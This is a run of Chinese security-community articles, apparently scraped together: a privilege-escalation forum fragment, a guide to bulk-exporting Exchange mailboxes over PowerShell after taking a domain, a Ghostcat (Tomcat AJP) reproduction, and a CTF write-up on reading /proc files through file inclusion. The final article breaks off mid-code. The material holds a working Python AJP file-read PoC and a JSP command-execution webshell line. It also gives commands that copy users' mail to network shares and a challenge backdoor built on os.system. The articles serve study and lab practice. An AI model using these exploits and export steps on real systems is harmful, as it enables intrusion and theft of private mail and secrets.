-rwxr-xr-x 1 root root 618 Aug 28 2014 man-db.cron
-rwxr-xr-x 1 root root 365 Jan 5 2012 tmpwatch
/etc/cron.hourly:
total 16
-rwxr-xr-x 1 root root 409 Sep 28 2016 0anacron
-rwxr-xr-x 1 root root 147 Oct 22 10:57 cron.logrotate.elasticbeanstalk.awslogs.conf
-rwxr-xr-x 1 root root 145 Oct 22 10:57 cron.logrotate.elasticbeanstalk.httpd.conf
-rwxr-xr-x 1 root root 147 Oct 22 10:57 cron.logrotate.elasticbeanstalk.tomcat8.conf
/etc/cron.monthly:
total 0
/etc/cron.weekly:
total 0
没有权限编辑，这该怎么办啊，感觉非常棘手
网上搜了一圈，说上传这个检测脚本看看有哪些可利用的漏洞（抱着试试的态度）
https://github.com/mzet-/linux-exploit-suggester
执行完之后，忽然惊醒，槽，又回到了内核提权
找个差不多的版本编译上传，死马当活马医
果然行不通，不折腾了，到此为止
# 求教
顺便问一下，还有哪些提权姿势？ | 社区文章 |
# 【技术分享】域渗透之Exchange Server
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[hui81c2](http://bobao.360.cn/member/contribute?uid=2929676557)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
Microsoft Exchange Server
做为消息与协作系统。它提供了业界最强的扩展性、高可靠性、安全性和高处理性能，被许多企业、学校、政府等作为主要邮件系统。在内网渗透测试中，对邮件系统的把控会让你事半功倍，尤其是和AD绑在一起的Exchange。
**通过本文你将了解Ps下对Exchange邮件的基本操作，这也同样适用于运维管理，当然相比博大精深的ES是远远不够的。** 以下环境为Exchange
server 2013，也同样适用于2010等版本。
你可以在开始菜单中通过 Exchange Management Shell （EMS）管理器快捷方式连接到 exchange
server，初始化过后你将得到一个Powershell命令窗口。如果连接失败，请相信我，一定是你内存分配的不够，默认安装的Exchange也至少需要分配6个G内存。
如果一切都没有问题，并且你已经获取了域控权限，那就开始我们的旅程吧！
**导出邮箱列表**
**查看数据库**
邮箱数据库是创建和存储邮箱的粒度的单位。邮箱数据库以 Exchange 数据库 (.edb) 文件的形式存储。存储结构分为直接附加存储
(DAS)和存储区域网络 (SAN)。我们可以通过 Get-MailboxDatabase cmdlet
从服务器或组织中检索一个或多个邮箱数据库对象。一般为了高可用性至少有两台服务器组成DGA，你可以通过-Server参数指定检索服务器。
[PS] C:Windowssystem32>get-mailboxdatabase -Server "exchange"
Name Server Recovery ReplicationType
---- ------ -------- --------------- Mailbox Database 0574336487 EXCHANGE False None
Mailbox Database Test01 EXCHANGE False None
格式化筛选指定属性，如数据库文件路径
[PS] C:>Get-MailboxDatabase -Identity 'Mailbox Database Test01' | Format-List Name,EdbFilePath,LogFolderPath
Name : Mailbox Database Test01
EdbFilePath : C:Program FilesMicrosoftExchange ServerV15MailboxMailbox Database Test01Mailbox Database Test01.edb
LogFolderPath : C:Program FilesMicrosoftExchange ServerV15MailboxMailbox Database Test01
ECP数据库管理位置
[](https://camo.githubusercontent.com/f1e35c9bc0196a5edce574e6e0c654e5ecf2174f/687474703a2f2f692e696d6775722e636f6d2f4a5431704d51662e706e67)
####
**获取组**
在域控中新建过OU（Organizational
Unit）之后，我们往往会建立Group来管理用户。查询组的意义在于——往往你会看到有个组名字叫做IT，当然这一步和net group大同小异。通过Get-DistributionGroup cmdlet 查询现有通讯组。
[PS] C:Windowssystem32>Get-DistributionGroup
Name DisplayName GroupType PrimarySmtpAddress
---- ----------- --------- ------------------ EXchange New OU EXchange New OU Universal [email protected]
IT Security IT Security Universal, SecurityEnabled [email protected]
查看通讯组IT Security详细信息
[PS] C:Windowssystem32>Get-DistributionGroup "IT Security" | fl
RunspaceId : efbb60f9-5ef1-4a8d-9b94-c3f102e576c3
GroupType : Universal, SecurityEnabled
SamAccountName : IT Security
BypassNestedModerationEnabled : False
ManagedBy : {ruos.org/Users/Administrator, ruos.org/Users/admin}
MemberJoinRestriction : Closed
MemberDepartRestriction : Closed
...
**导出成CSV文件**
# 查询通讯组
Get-DistributionGroup | `
Select-Object DisplayName,Name,Alias,GroupType,WindowsEmailAddress,@{n="ManagedBy";e={$_.ManagedBy -Join ";"}} ,OrganizationalUnit | `
Export-CSV test.csv -NoType
**获得组成员**
通过Get-DistributionGroupMember cmdlet 可以查找现有的通讯组成员。
[PS] C:Windowssystem32>Get-DistributionGroupMember -Identity "ENO"
Name RecipientType
---- ------------- Administrator UserMailbox
a UserMailbox
ming xiao UserMailbox
user1 UserMailbox
**获得用户admin（可以是域用户格式）邮箱信息**
获取用户邮箱信息。通过以上步骤，我们大概知道了如何查询用户组中的成员，下面我们将使用Get-Mailbox cmdlet 获取邮箱对象和属性。再配合Get-MailboxStatistics cmdlet 获取有关邮箱的信息，例如，邮箱大小、所包含的邮件数、以及最后访问时间。
**基本使用**
Get-Mailbox | format-tables Name,WindowsEmailAddress
Get-Mailbox testuser | fl * | Out-File c:mb.txt
Get-Mailbox | ForEach-Object {$_.Name}
获取组织单元内用户
Get-Mailbox -OrganizationalUnit "New OU"
[PS] C:Windowssystem32>get-mailboxstatistics -identity admin | Select DisplayName,ItemCount,TotalItemSize,LastLogonTime
DisplayName ItemCount TotalItemSize LastLogonTime
----------- --------- ------------- ------------- admin 11 90.88 KB (93,056 bytes) 2016/11/29 19:59:08
Format-Table 模式查看
使用反引号`换行，输入结束后再回车执行。
# 查看所有邮箱信息Get-Mailbox -ResultSize Unlimited | `Get-MailboxStatistics | `Sort-Object TotalItemSize –Descending | `ft DisplayName,@{label="Mailbox Size (MB)";expression={$_.TotalItemSize.Value.ToMB()}
导出到CSV文件（这将是你想要的）
$mb = Get-Mailbox -ResultSize Unlimited$output = foreach($obj in $mb ){$ms = (Get-MailboxStatistics $obj.Identity -WarningAction SilentlyContinue )$obj | Select-Object DisplayName,Name,WindowsEmailAddress,OrganizationalUnit,Database,`
@{L="Mailbox Size (MB)";E={ $ms.TotalItemSize.Value.ToMB() }},`
@{L="LastLogonTime";E={ $ms.LastLogonTime }}
}#Write-Output $output $output | Export-CSV test.csv -NoType
或者通过ECP导出
[](https://camo.githubusercontent.com/6ba10d498030697ce565059ecbc873889ed06b16/687474703a2f2f692e696d6775722e636f6d2f4e316d6d6744792e6a7067)
**导出PST邮件**
在了解了用户的邮箱使用情况后，我们下一步将邮箱数据导出为PST文件，以方便本地查看和搜索。
要在Exchange Server 2010
SP1中使用用户邮箱导出功能，只能使用EMS进行操作。而且操作的Exchange服务器管理员必须要成为“邮箱导入导出角色”。
Exchange Server 2007 可以使用 export-Mailbox cmdlet
导出邮件分为以下几个步骤:
Step1 为用户添加导出权限
Step2 导出邮件
Step3 查看导出请求及删除导出请求
**查看角色（默认只有组织管理成员才有导入/导出权限）**
使用Get-ManagementRole cmdlet 查看组织内已创建的管理角色。
[PS] C:Windowssystem32>Get-ManagementRole
Name RoleType
---- -------- Mailbox Import Export MailboxImportExport
Get-ManagementRoleAssignment cmdlet 检索管理角色分配。
[PS] C:Windowssystem32>Get-ManagementRoleAssignment -role "Mailbox Import Export" | Format-List RoleAssigneeName
RoleAssigneeName : Organization Management
RoleAssigneeName : Administrator
RoleAssigneeName : admin
为用户Administrator添加邮箱导入导出角色
New-ManagementRoleAssignment cmdlet 可以将管理角色分配给管理角色组、管理角色分配策略、用户或通用安全组 (USG)。
添加角色后需要重启EMS
[PS] C:Windowssystem32>New-ManagementRoleAssignment -Name "Import Export_Domain Admins" `
>>-User "Administrator" -Role "Mailbox Import Export"
>>
DataObject : Import Export_Domain Admins
User : ruos.org/Users/Administrator
AssignmentMethod : Direct
Identity : Import Export_Domain Admins
EffectiveUserName : Administrator
删除管理角色分配
Remove-ManagementRoleAssignment "Import Export_Domain Admins" -Confirm:$false
New-MailboxExportRequest cmdlet 将主邮箱或存档的内容导出到 .pst 文件。
net share 创建“读/写权限”共享文件夹
net share sharename$=c:share /GRANT:Everyone,FULL
将user1收件箱中的所有邮件导出到 .pst
New-MailboxExportRequest -Mailbox user1 -IncludeFolders "#Inbox#" -FilePath 10.2.2.163maildatauser1.pst
Inbox（收件箱）、SentItems（已发送邮件）、DeletedItems（已删除邮件）、Drafts（草稿）
导出用户 Tony 在 2012 年 1 月 1 日之前收到的邮件正文中包含“公司”和“利润”的邮件。
New-MailboxExportRequest -Mailbox Tony `-ContentFilter {(body -like "*company*") `-and (body -like "*profit*") `-and (Received -lt "01/01/2012")} `-FilePath "\SERVER01PSTFileShareTony_CompanyProfits.pst"
之后你可以将其载入到Outlook中进行查看。
查看导出请求状态
Get-MailboxExportRequest cmdlet 可以查看使用 New-MailboxExportRequest cmdlet 启动的正在执行的导出请求的详细状态。
[PS] C:Windowssystem32>Get-MailboxExportRequest
Name Mailbox Status
---- ------- ------ MailboxExport ruos.org/Users/a Completed
删除全部或部分完成的导出请求
[PS] C:Windowssystem32>Remove-MailboxExportRequest -Identity "aMailboxExport"
删除所有状态为“已完成”的导出请求
Get-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest -Confirm:$false
或者通过ECP导出，缺点是不能过滤时间，并且管理员会收到导出完成通知。
[](https://camo.githubusercontent.com/63e61be58851a95c2897d2943264e2e82adcca82/687474703a2f2f692e696d6775722e636f6d2f4c32345249384f2e6a7067)
[](https://camo.githubusercontent.com/aabac258d39f4dc709c19087cfa4648ea242f790/687474703a2f2f692e696d6775722e636f6d2f663072496c55342e706e67)
以上介绍了如何通过EMS导出用户邮件，但是谁也不能保证你不会和管理员撞个满怀。值得庆幸的是，Exchange Server支持PowerShell远程操作。
**Exchange PowerShell**
远程 PowerShell 提供了从命令行管理 Exchange Online的方式，利人又利己。
**创建用户凭证**
$Credential = Get-Credential
但这样会弹出凭据请求输入框，使用 PSCredential 创建非交互式登陆凭据。
$pass = ConvertTo-SecureString "PlainTextPassword" -AsPlainText -Force$Credential = New-Object System.Management.Automation.PSCredential ("Domain01User01", $pass)
**创建登陆会话**
$Session = New-PSSession -ConfigurationName Microsoft.Exchange `-ConnectionUri http://<FQDN of Exchange 2016 Mailbox server>/PowerShell/ `-Authentication Kerberos -Credential $Credential
**导入会话**
Import-PSSession $Session
**移除会话**
Remove-PSSession $Session
**
**
**Scripting with the Exchange Management Shell**
通过SHELL的方式执行脚本。
适用于： Exchange Server 2013
exchange默认根目录在 :Program FilesMicrosoftExchange ServerV15bin
执行自定义脚本
需要开启远程脚本执行权限
Set-ExecutionPolicy RemoteSigned
Script
# filename:test.ps1# export to pstforeach($user in "admin","user1","user2"){New-MailboxExportRequest -Mailbox $user -ContentFilter { Received -gt "11/29/2016" } -FilePath "\192.168.6.2sharename$$user.pst"Start-Sleep -Seconds 3}
从cmd启动脚本
64位系统下存在文件系统重定向机制，powershell路径为
C:windowssysnativeWindowsPowerShellv1.0powershell.exe
PowerShell.exe -command ". 'C:Program FilesMicrosoftExchange ServerV15binRemoteExchange.ps1'; Connect-ExchangeServer -auto; C:test.ps1"
查看角色权限
PowerShell.exe -command ". 'C:Program FilesMicrosoftExchange ServerV15binRemoteExchange.ps1'; Connect-ExchangeServer -auto; Get-ManagementRoleAssignment -role "Mailbox Import Export""
**结束语**
Exchange和AD的紧密性使得很多Cmdlet
Reference都能达到同样的目的，比如查询用户登陆的源IP地址，我们还能通过Exchange的IIS日志来查找。但有时候遗憾的是，用户虽然在使用邮箱，工作机却没有加入域中。这种情况我们就需要配合其他信息进一步确认。
[](https://camo.githubusercontent.com/aabac258d39f4dc709c19087cfa4648ea242f790/687474703a2f2f692e696d6775722e636f6d2f663072496c55342e706e67)
**参考资料**
<https://technet.microsoft.com/zh-cn/library/mt587043(v=exchg.150).aspx>
<https://technet.microsoft.com/zh-cn/library/bb124558(v=exchg.150).aspx>
Microsoft Exchange Server 2013 PowerShell Cookbook | 社区文章 |
# 前言
> 最近在从零开始学习java安全，而前端时间tomcat的ghostcat漏洞比较火，这次就尝试的复现一下，如果有错误希望师傅们可以指出
## 环境搭建
> 由于要调试tomcat，所以需要下载源码，这次我用到的版本是8.0.47
1. 在官网下载源码
2. 在目录下创建一个pom.xml(便于之后maven下载依赖)
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.apache.tomcat</groupId>
<artifactId>Tomcat8.0</artifactId>
<name>Tomcat8.0</name>
<version>8.0</version>
<build>
<finalName>Tomcat8.0</finalName>
<sourceDirectory>java</sourceDirectory>
<testSourceDirectory>test</testSourceDirectory>
<resources>
<resource>
<directory>java</directory>
</resource>
</resources>
<testResources>
<testResource>
<directory>test</directory>
</testResource>
</testResources>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>2.3</version>
<configuration>
<encoding>UTF-8</encoding>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.easymock</groupId>
<artifactId>easymock</artifactId>
<version>3.4</version>
</dependency>
<dependency>
<groupId>ant</groupId>
<artifactId>ant</artifactId>
<version>1.7.0</version>
</dependency>
<dependency>
<groupId>wsdl4j</groupId>
<artifactId>wsdl4j</artifactId>
<version>1.6.2</version>
</dependency>
<dependency>
<groupId>javax.xml</groupId>
<artifactId>jaxrpc</artifactId>
<version>1.1</version>
</dependency>
<dependency>
<groupId>org.eclipse.jdt.core.compiler</groupId>
<artifactId>ecj</artifactId>
<version>4.5.1</version>
</dependency>
</dependencies>
</project>
1. 在目录下创建一个名为`catalina-home`的文件夹将目录下的`webapp`和`conf`复制进去，之后再创建`logs`,`lib`,`temp`,`work`文件夹，共六个
2. 导入IDEA后，开始自动下载
> 若未自动下载则
>
>
> 红色箭头处
> 如果出现有报错cannot resolve xxx包的话，就点击红色箭头
>
>
> 然后点击此处，重写reimport一下即可
1. 将`util.TestCookieFilter`注释掉，不然会报错
2. 在`org.apache.catalina.startup.ContextConfig`
添加`context.addServletContainerInitializer(new JasperInitializer(), null);`
3. 配置tomcat
Main class: `org.apache.catalina.startup.Bootstrap`
VM options:
-Dcatalina.home=catalina-home -Dcatalina.base=catalina-home
-Djava.endorsed.dirs=catalina-home/endorsed -Djava.io.tmpdir=catalina-home/temp
-Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager
-Djava.util.logging.config.file=catalina-home/conf/logging.properties
1. 启动或者调试，✿✿ヽ(°▽°)ノ✿
## 初步分析
> 由于发现者是长亭的师傅们然后poc又被集成在了他们的扫描器中，我又懒得像别的师傅那样抓包，所以最后在github上寻找到了poc
* 观察漏洞爆出前后的github更新情况
* 默认关闭了AJP connector
* 改变了默认绑定端口
* 强制设置认证secret
* 无法识别的属性直接403
* poc 地址 <https://github.com/hypn0s/AJPy/>
由于这个脚本有很多功能，最后我就把这次漏洞需要的提取出来
import sys
from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
from tomcat import Tomcat
gc = Tomcat('127.0.0.1', 8009)
file_path = "/WEB-INF/web.xml"
attributes = [
{"name": "req_attribute", "value": ("javax.servlet.include.request_uri", "/",)},
{"name": "req_attribute", "value": ("javax.servlet.include.path_info", file_path,)},
{"name": "req_attribute", "value": ("javax.servlet.include.servlet_path", "/",)},
]
hdrs, data = gc.perform_request("/", attributes=attributes)
output = sys.stdout
for d in data:
try:
output.write(d.data.decode('utf8'))
except UnicodeDecodeError:
output.write(repr(d.data))
修改filepath就可以实现任意文件读取
## 预备知识
### 什么是APJ
Tomcat在server.xml中配置了两种连接器。
1. HTTP Connector
拥有这个连接器，Tomcat才能成为一个web服务器，但还额外可处理Servlet和jsp。
2. AJP Connector
AJP连接器可以通过AJP协议和另一个web容器进行交互。
配置
<!-- Define a non-SSL/TLS HTTP/1.1 Connector on port 8080 -->
<Connector port="8080" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
<!-- Define an AJP 1.3 Connector on port 8009 -->
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
第一个连接器监听8080端口，负责建立HTTP连接。在通过浏览器访问Tomcat服务器的Web应用时，使用的就是这个连接器。
第二个连接器监听8009端口，负责和其他的HTTP服务器建立连接。在把Tomcat与其他HTTP服务器集成时，就需要用到这个连接器。AJP连接器可以通过AJP协议和一个web容器进行交互。
这里什么意思呢，比如说你的apache又在运行php站点，又在运行py站点，还在运行tomcat，这样访问tomcat就要经过AJP来进行转发访问(且暂时来说也就apache还算支持，这个协议使用不是很多)
### Connectors是什么
>
> Connector用于接受请求并将请求封装成Request和Response，然后交给Container进行处理，Container处理完之后再交给Connector返回给客户端
>
>
`ProtocolHandler`包含三个部件：`Endpoint`、`Processor`、`Adapter`。
1. `Endpoint`用来处理底层Socket的网络连接，`Processor`用于将`Endpoint`接收到的Socket封装成Request，`Adapter`用于将Request交给`Container`进行具体的处理。
2. `Endpoint`由于是处理底层的Socket网络连接，因此`Endpoint`是用来实现TCP/IP协议的，而`Processor`用来实现HTTP协议的，`Adapter`将请求适配到Servlet容器进行具体的处理。
3. `Endpoint`的抽象实现类AbstractEndpoint里面定义了Acceptor和AsyncTimeout两个内部类和一个Handler接口。Acceptor用于监听请求，AsyncTimeout用于检查异步Request的超时，Handler用于处理接收到的Socket，在内部调用`Processor`进行处理。
### 不得不提的COntainer
> `Adapter`将请求适配到Servlet容器进行具体的处理，这里的Servlet就是属于Container中的Wrapper
1. Engine，我们可以看成是容器对外提供功能的入口，每个Engine是Host的集合，用于管理各个Host。
2. Host，我们可以看成虚拟主机，一个tomcat可以支持多个虚拟主机。(即域名匹配)
3. Context，又叫做上下文容器，我们可以看成应用服务，每个Host里面可以运行多个应用服务。同一个Host里面不同的Context，其contextPath必须不同，默认Context的contextPath为空格("")或斜杠(/)。（path匹配）
4. Wrapper，是Servlet的抽象和包装，每个Context可以有多个Wrapper，用于支持不同的Servlet。另外，每个JSP其实也是一个个的Servlet。
### 漏洞分析
> 我们直接从`processor`开始看，`endpoint`如何接受socket这里对漏洞并不是关键，重点在于`processor`封装时发生了什么
org/apache/coyote/ajp/AbstractAjpProcessor.java
public SocketState process(SocketWrapper<S> socket) throws IOException {
.....(都是从socket中去取数据是否有报错之类的)
if (!getErrorState().isError()) {
// Setting up filters, and parse some request headers
rp.setStage(org.apache.coyote.Constants.STAGE_PREPARE);
try {
prepareRequest();(关键点步入)
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
getLog().debug(sm.getString("ajpprocessor.request.prepare"), t);
// 500 - Internal Server Error
response.setStatus(500);
setErrorState(ErrorState.CLOSE_CLEAN, t);
getAdapter().log(request, response, 0);
}
}
* prepareRequest类
* 从request中读取各类信息，比如method，protocol，url，host，addr， **headers** 等
* 当我们从头部信息中读取各类参数，如果要进入分支则需要未使用预定义的属性
* 且为定义属性是AJP的私有属性，否则会自己设置变量(生成键值对)，由此我们在头部中传入的
{"name": "req_attribute", "value": ("javax.servlet.include.request_uri", "/",)},
{"name": "req_attribute", "value": ("javax.servlet.include.path_info", file_path,)},
{"name": "req_attribute", "value": ("javax.servlet.include.servlet_path", "/",)},
就正式进入了runtime，为我们后面使用埋下伏笔
这里有个判断，如果设置了secret则返回403
> 我们仔细思考上面这两个，联系github的修复就发现，都是一一针对的，首先
>
>
> 不再列表中的属性你就不能设置了，直接返回403，其次就是你必须设置secret，你没设置不是跳过判断，而是直接403
判断你要访问的URI是否以http开头，显然不是，然后就进入到Adapter了
> 知识补充:URI和URL不是一个东西，URL是URI的子集。
>
> 你可能觉得URI和URL可能是相同的概念，其实并不是，URI和URL都定义了资源是什么，但URL还定义了该如何访问资源。URL是一种具体的URI，它是URI的一个子集，它不仅唯一标识资源，而且还提供了定位该资源的信息。URI
> 是一种语义上的抽象概念，可以是绝对的，也可以是相对的，而URL则必须提供足够的信息来定位，是绝对的。
我们一路跟进来到
@Override
public void service(org.apache.coyote.Request req,
org.apache.coyote.Response res)
throws Exception {
Request request = (Request) req.getNote(ADAPTER_NOTES);
Response response = (Response) res.getNote(ADAPTER_NOTES);
......
if (connector.getXpoweredBy()) { //(AJP/1.3)确定了这是属于谁的Connector
response.addHeader("X-Powered-By", POWERED_BY);
}
这里的Request和Reponse其实是一个转换的过程，从`org.apache.coyote.Request`转换到`connector.Request`和`connector.Response`：
* 由于要和Servlet进行通信必须要实现`javax.servlet.http.HttpServletRequest`的接口，但是`org.apache.coyote.Request`没有实现，所以只能进行能一次转换
* 步入 `postParseSuccess = postParseRequest(req, request, res, response);`
> 1. 简单来说是一些准备工作，比如请求的协议，是否设置代理，请求的编码等
> 2. 如果出现`/path;name=value;name2=value2/`这样的情况还会解析出参数
> 3. URI是否存在`/../`，`\`等不合法参数
> 4. 检测是否启用host
>
>
> 5. 这里又是一个重要的流程：这里会获取Connector所在的service对象，然后调用service内部的Mapper对象的map方法
>
>
>
> 在map方法中调用`internalMap`方法，传入host,uri,version,并将最终结果保存在request的mappingData里面,`internalMap`这个方法中包含了路由映射的完整过程，HOST,Content,Wrapper(这里用的是最长前缀匹配法)具体可见<https://blog.csdn.net/TMRsir/article/details/78214714>
* 下面就是调用Container的核心步骤了
`connector.getService().getContainer().getPipeline().getFirst().invoke(request,
response);`
这里是按照上面的container的包含顺序在invoke函数不断的选择(选择的方式就是通过之前确定的路由映射，然后跟本次的请求进行匹配)
1. 选取host
2. 选取content
1. 选取wrapper,不过这里会检测是否是在WEB-INF或META-INF下的资源
1. 初始化Servlet
2. 在Servlet中才会真正处理请求，不过之后还有点初始化过滤器等
3. 在调用过滤器的过程中会进入
4. 过滤结束正式调用，我们在service函数中步入
经过上述栈调用，达到关键函数
这三个参数不是很熟悉，但是他们的别名就是我们传入的三个参数，最后拼接出文件最后的相对路径(虽然多了一个斜杠但是后面会去掉)
在此处经过合法性检验后，获取资源(包括反斜杠替换为斜杠，不是斜杠开头则添加一个，两个斜杠则去掉一个，是否有..之类等)总之就是不能跨目录读取，其次就是修正一下不合规URI
`WebResource resource = resources.getResource(path);`读取出内容之后，写入response结束
## 任意文件包含
我们在webapps下放置一个木马，hahah.txt
<% out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine()); %>
然后访问一个不存在的jsp文件
* 前面的流程还是一样，直到获取`warpper`的时候，会出现从默认的改成jsp(由于URI是jsp结尾)
* 同理`wrapper`的改变也导致了`Servlet`的选取发生了改变，变为了`JspServlet`
* 这里就是我们传入的参数的别名，导致path我们可控
* 进入JSP的Service进行处理
* 该servlet最终会以.java文件的形式写入`catalina-home/work/Catalina/localhost/ROOT/org/apache/jsp/XXXX.java`
*
## 总结
1. 漏洞的根本原因就是对用户输入过于信任，导致了变量覆盖(大概这个意思)，所以最后暴力的修复直接白名单，拒绝了不在列表中的属性
2. 这里任意文件读取实际上不是真的任意文件读取，在合法性检验的时候把可能的目录穿越符号都过滤处理了，所以只能任意文件读取/webapps下的文件
3. 后面的文件包含就是任意文件读取的衍生，通过请求不同的URI，来触发不同的Wrapper，最终导致使用了不同的Servlet来处理文件(现实中利用需要配合上文件上传一起才能实现)
4. Java太复杂了头大
# 参考链接
<https://blog.csdn.net/yekong1225/article/details/81000446>
<https://www.jianshu.com/p/3059328cd661>
<https://blog.csdn.net/TMRsir/article/details/78214714>
<https://www.guildhab.top/?p=2406> | 社区文章 |
# Proc 目录在 CTF 中的利用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在 CTF 中经常会用到 `/proc`
这个目录来进行绕过，利用它里面的一些子目录或文件读取网站源码或者环境信息等，甚至直接读取flag或者直接Getshell。下面我们就简单总结一下
`/proc` 目录是什么以及他的作用。
## /proc 目录
Linux系统上的/proc目录是一种文件系统，即proc文件系统。与其它常见的文件系统不同的是，/proc
是一种伪文件系统（也即虚拟文件系统），存储的是当前内核运行状态的一系列特殊文件，用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息，甚至可以通过更改其中某些文件来改变内核的运行状态。
简单来讲，`/proc`
目录即保存在系统内存中的信息，大多数虚拟文件可以使用文件查看命令如cat、more或者less进行查看，有些文件信息表述的内容可以一目了然，但也有文件的信息却不怎么具有可读性。
/proc 目录中包含许多以数字命名的子目录，这些数字表示系统当前正在运行进程的进程号(PID)，里面包含对应进程相关的多个信息文件：
ls -al /proc
下面我们简单介绍一下 `/proc` 目录中的常见文件夹与文件。
上面列出的是 /proc
目录中一些进程相关的目录，每个目录中是其进程本身相关信息的文件。下面是系统上运行的一个PID为1090的进程的相关文件，其中有些文件是每个进程都会具有的：
ls -al /proc/1090
这里简单讲几个与题目相关的进程文件：
### cmdline
cmdline 文件存储着启动当前进程的完整命令，但僵尸进程目录中的此文件不包含任何信息。可以通过查看cmdline目录获取启动指定进程的完整命令：
cat /proc/2889/cmdline
可知PID为2889的进程的启动命令为/usr/bin/docker-proxy。
### cwd
cwd 文件是一个指向当前进程运行目录的符号链接。可以通过查看cwd文件获取目标指定进程环境的运行目录：
ls -al /proc/1090/cwd
可见PID为1090的进程的运行目录为/var/lib/postgresql/9.5/main，然后我们可以直接使用ls目录查看该进行运行目录下的文件：
ls /proc/1090/cwd
如上图所示，与直接查看/var/lib/postgresql/9.5/main目录的效果是一样的。
### exe
exe 是一个指向启动当前进程的可执行文件（完整路径）的符号链接。通过exe文件我们可以获得指定进程的可执行文件的完整路径：
ls -al /proc/1090/exe
### environ
environ
文件存储着当前进程的环境变量列表，彼此间用空字符（NULL）隔开。变量用大写字母表示，其值用小写字母表示。可以通过查看environ目录来获取指定进程的环境变量信息：
cat /proc/2889/environ
常用来读取环境变量中的SECRET_KEY或FLAG。
### fd
fd 是一个目录，里面包含这当前进程打开的每一个文件的文件描述符（file
descriptor），这些文件描述符是指向实际文件的一个符号链接，即每个通过这个进程打开的文件都会显示在这里。所以我们可以通过fd目录里的文件获得指定进程打开的每个文件的路径以及文件内容。
查看指定进程打开的某个文件的路径：
ls -al /proc/1070/fd
查看指定进程打开的某个文件的内容：
ls -al /proc/1070/fd/4
**这个fd比较重要，因为在 linux
系统中，如果一个程序用open()打开了一个文件但最终没有关闭他，即便从外部（如os.remove(SECRET_FILE)）删除这个文件之后，在
/proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的文件描述符，通过这个文件描述符我们即可得到被删除文件的内容。**
### self
上面这些操作列出的都是目标环境指定进程的信息，但是我们在做题的时候往往需要的当前进程的信息，这时候就用到了 `/proc` 目录中的 self 子目录。
`/proc/self` 表示当前进程目录。前面说了通过 `/proc/$pid/`
来获取指定进程的信息。如果某个进程想要获取当前进程的系统信息，就可以通过进程的pid来访问/proc/$pid/目录。但是这个方法还需要获取进程pid，在fork、daemon等情况下pid还可能发生变化。为了更方便的获取本进程的信息，linux提供了
`/proc/self/` 目录，这个目录比较独特，不同的进程访问该目录时获得的信息是不同的，内容等价于 `/proc/本进程pid/` 。进程可以通过访问
`/proc/self/` 目录来获取自己的系统信息，而不用每次都获取pid。
有了self目录就方便多了，下面我们演示一下self的常见使用。
* 获取当前启动进程的完整命令：
cat /proc/self/cmdline
* 获取目标当前进程环境的运行目录与目录里的文件：
ls -al /proc/self/cwd
ls /proc/self/cwd
当不知道目标网站的Web路径或当前路径时，这经常使用
* 获得当前进程的可执行文件的完整路径：
ls -al /proc/self/exe
* 获取当前进程的环境变量信息：
cat /proc/self/environ
* 获取当前进程打开的文件内容：
cat /proc/self/fd/{id}
下文在题目中演示。
**注意：**
在真正做题的时候，我们是不能通过命令的方式执行通过cat命令读取cmdline的，因为如果是cat读取/proc/self/cmdline的话，得到的是cat进程的信息，所以我们要通过题目的当前进程使用读取文件（如文件包含漏洞，或者SSTI使用file模块读取文件）的方式读取/proc/self/cmdline。
## [网鼎杯 2020 白虎组]PicDown
进入题目，一个输入框：
看到url中有个/?url=，本以为是ssrf，但试了试不行，考虑文件包含，我们抓包尝试：
发现确实存在文件包含漏洞。首先尝试直接构造 `?url=../../../../../../../flag` 来读取flag失败，看来有过滤。
我们要换一种思路，既然存在文件包含，我们不仅可以直接读取文件，也可以通过读取/proc目录中的文件来读取文件。如下，我们读取/proc/self/cmdline来获取启动当前题目进程的完整命令：
?url=../../../../../../../proc/self/cmdline
可知，由python2启动了一个app.py文件，我们读一下这个app.py文件：
得到页面的源码：
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE) # 用open()打开/tmp/secret.txt文件，文件描述符为f
SECRET_KEY = f.read().strip() # 读取secret.txt文件，并将内容赋给SECRET_KEY
os.remove(SECRET_FILE)
@app.route('/')
def index():
return render_template('search.html') # 访问/根目录是渲染search.html
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url) # 创建一个表示远程url的类文件对象,然后像本地文件一样操作这个类文件对象来获取远程数据。
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"search.html
return render_template('search.html', res=value) # 将value(url获取的内容)渲染到search.html页面
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell) # 这里如果key=SECRET_KEY，那么就从URL中获取shell参数并用system函数(无回显)执行。
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
